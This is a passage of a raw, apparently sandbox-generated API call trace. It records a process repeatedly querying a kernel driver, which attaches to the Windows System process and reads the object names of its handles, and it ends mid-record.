ObReferenceObjectByHandle (in: Handle=0xffffffff800005d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020863b0, HandleInformation=0x0) returned 0x0 [0102.881] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.881] PsReleaseProcessExitSynchronization () returned 0x2 [0102.881] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.881] ObQueryNameString (in: Object=0xfffffa80020863b0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.881] ObfDereferenceObject (Object=0xfffffa80020863b0) returned 0x2 [0102.881] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.881] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.881] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.881] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.881] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.881] PsAcquireProcessExitSynchronization () returned 0x0 [0102.881] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.881] ObReferenceObjectByHandle (in: Handle=0xffffffff80000608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002965af0, HandleInformation=0x0) returned 0x0 [0102.881] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.881] PsReleaseProcessExitSynchronization () returned 0x2 [0102.881] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.881] ObQueryNameString (in: Object=0xfffffa8002965af0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.881] ObfDereferenceObject (Object=0xfffffa8002965af0) returned 0x2 [0102.881] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.882] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.882] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0102.882] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.882] PsAcquireProcessExitSynchronization () returned 0x0 [0102.882] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.882] ObReferenceObjectByHandle (in: Handle=0xffffffff80000610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800d41cd20, HandleInformation=0x0) returned 0x0 [0102.882] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.882] PsReleaseProcessExitSynchronization () returned 0x2 [0102.882] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.882] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.882] ObfDereferenceObject (Object=0xfffffa800d41cd20) returned 0x12 [0102.882] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.882] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.882] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.882] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.882] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.882] PsAcquireProcessExitSynchronization () returned 0x0 [0102.882] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.882] ObReferenceObjectByHandle (in: Handle=0xffffffff8000061c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80038d0900, HandleInformation=0x0) returned 0x0 [0102.883] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.883] PsReleaseProcessExitSynchronization () returned 0x2 [0102.883] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.883] ObQueryNameString (in: Object=0xfffffa80038d0900, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.883] ObfDereferenceObject (Object=0xfffffa80038d0900) returned 0x2 [0102.883] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.883] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.883] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.883] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.883] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.883] PsAcquireProcessExitSynchronization () returned 0x0 [0102.883] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.883] ObReferenceObjectByHandle (in: Handle=0xffffffff8000062c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fe8c90, HandleInformation=0x0) returned 0x0 [0102.883] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.883] PsReleaseProcessExitSynchronization () returned 0x2 [0102.883] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.883] ObQueryNameString (in: Object=0xfffffa8001fe8c90, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.883] ObfDereferenceObject (Object=0xfffffa8001fe8c90) returned 0x2 [0102.883] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.883] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.883] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.883] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.883] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.883] PsAcquireProcessExitSynchronization () returned 0x0 [0102.884] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.884] ObReferenceObjectByHandle (in: Handle=0xffffffff80000630, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002149310, HandleInformation=0x0) returned 0x0 [0102.884] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.884] PsReleaseProcessExitSynchronization () returned 0x2 [0102.884] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.884] ObQueryNameString (in: Object=0xfffffa8002149310, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.884] ObfDereferenceObject (Object=0xfffffa8002149310) returned 0x2 [0102.884] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.884] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.884] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.884] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.884] PsAcquireProcessExitSynchronization () returned 0x0 [0102.884] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.884] ObReferenceObjectByHandle (in: Handle=0xffffffff8000063c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fe24c0, HandleInformation=0x0) returned 0x0 [0102.884] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.884] PsReleaseProcessExitSynchronization () returned 0x2 [0102.884] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.884] ObQueryNameString (in: Object=0xfffffa8001fe24c0, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.884] ObfDereferenceObject (Object=0xfffffa8001fe24c0) returned 0x2 [0102.884] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.884] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.884] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.884] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.884] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.884] PsAcquireProcessExitSynchronization () returned 0x0 [0102.884] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.884] ObReferenceObjectByHandle (in: Handle=0xffffffff80000640, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800214a3c0, HandleInformation=0x0) returned 0x0 [0102.884] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.884] PsReleaseProcessExitSynchronization () returned 0x2 [0102.884] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.885] ObQueryNameString (in: Object=0xfffffa800214a3c0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.885] ObfDereferenceObject (Object=0xfffffa800214a3c0) returned 0x2 [0102.885] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.885] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.885] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.885] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.885] PsAcquireProcessExitSynchronization () returned 0x0 [0102.885] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.885] ObReferenceObjectByHandle (in: Handle=0xffffffff80000650, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800214b460, HandleInformation=0x0) returned 0x0 [0102.885] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.885] PsReleaseProcessExitSynchronization () returned 0x2 [0102.885] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.885] ObQueryNameString (in: Object=0xfffffa800214b460, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.885] ObfDereferenceObject (Object=0xfffffa800214b460) returned 0x2 [0102.885] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.885] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.885] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.885] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.885] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.885] PsAcquireProcessExitSynchronization () returned 0x0 [0102.885] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.885] ObReferenceObjectByHandle (in: Handle=0xffffffff8000065c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022cf460, HandleInformation=0x0) returned 0x0 [0102.885] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.885] PsReleaseProcessExitSynchronization () returned 0x2 [0102.885] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.885] ObQueryNameString (in: Object=0xfffffa80022cf460, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.886] ObfDereferenceObject (Object=0xfffffa80022cf460) returned 0x2 [0102.886] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.886] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.886] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.886] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.886] PsAcquireProcessExitSynchronization () returned 0x0 [0102.886] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.886] ObReferenceObjectByHandle (in: Handle=0xffffffff80000660, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800214c4f0, HandleInformation=0x0) returned 0x0 [0102.886] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.886] PsReleaseProcessExitSynchronization () returned 0x2 [0102.886] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.886] ObQueryNameString (in: Object=0xfffffa800214c4f0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.886] ObfDereferenceObject (Object=0xfffffa800214c4f0) returned 0x2 [0102.886] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.886] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.886] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.886] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.886] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.886] PsAcquireProcessExitSynchronization () returned 0x0 [0102.886] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.886] ObReferenceObjectByHandle (in: Handle=0xffffffff80000664, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800235a460, HandleInformation=0x0) returned 0x0 [0102.886] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.886] PsReleaseProcessExitSynchronization () returned 0x2 [0102.886] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.886] ObQueryNameString (in: Object=0xfffffa800235a460, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.886] ObfDereferenceObject (Object=0xfffffa800235a460) returned 0x2 [0102.886] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.887] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.887] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.887] PsAcquireProcessExitSynchronization () returned 0x0 [0102.887] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.887] ObReferenceObjectByHandle (in: Handle=0xffffffff80000670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800214e590, HandleInformation=0x0) returned 0x0 [0102.887] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.887] PsReleaseProcessExitSynchronization () returned 0x2 [0102.887] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.887] ObQueryNameString (in: Object=0xfffffa800214e590, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.887] ObfDereferenceObject (Object=0xfffffa800214e590) returned 0x2 [0102.887] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.887] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xce, lpOverlapped=0x0) returned 1 [0102.887] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.887] PsAcquireProcessExitSynchronization () returned 0x0 [0102.887] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.887] ObReferenceObjectByHandle (in: Handle=0xffffffff8000067c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024048a0, HandleInformation=0x0) returned 0x0 [0102.887] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.887] PsReleaseProcessExitSynchronization () returned 0x2 [0102.887] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.887] ObQueryNameString (in: Object=0xfffffa80024048a0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.887] ObfDereferenceObject (Object=0xfffffa80024048a0) returned 0x2 [0102.887] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.887] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.887] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.887] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.888] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.888] PsAcquireProcessExitSynchronization () returned 0x0 [0102.888] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.888] ObReferenceObjectByHandle (in: Handle=0xffffffff80000680, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002152590, HandleInformation=0x0) returned 0x0 [0102.888] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.888] PsReleaseProcessExitSynchronization () returned 0x2 [0102.888] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.888] ObQueryNameString (in: Object=0xfffffa8002152590, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.888] ObfDereferenceObject (Object=0xfffffa8002152590) returned 0x2 [0102.888] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.888] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.888] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.888] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.888] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.888] PsAcquireProcessExitSynchronization () returned 0x0 [0102.888] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.888] ObReferenceObjectByHandle (in: Handle=0xffffffff80000690, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002154660, HandleInformation=0x0) returned 0x0 [0102.888] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.888] PsReleaseProcessExitSynchronization () returned 0x2 [0102.888] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.888] ObQueryNameString (in: Object=0xfffffa8002154660, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: 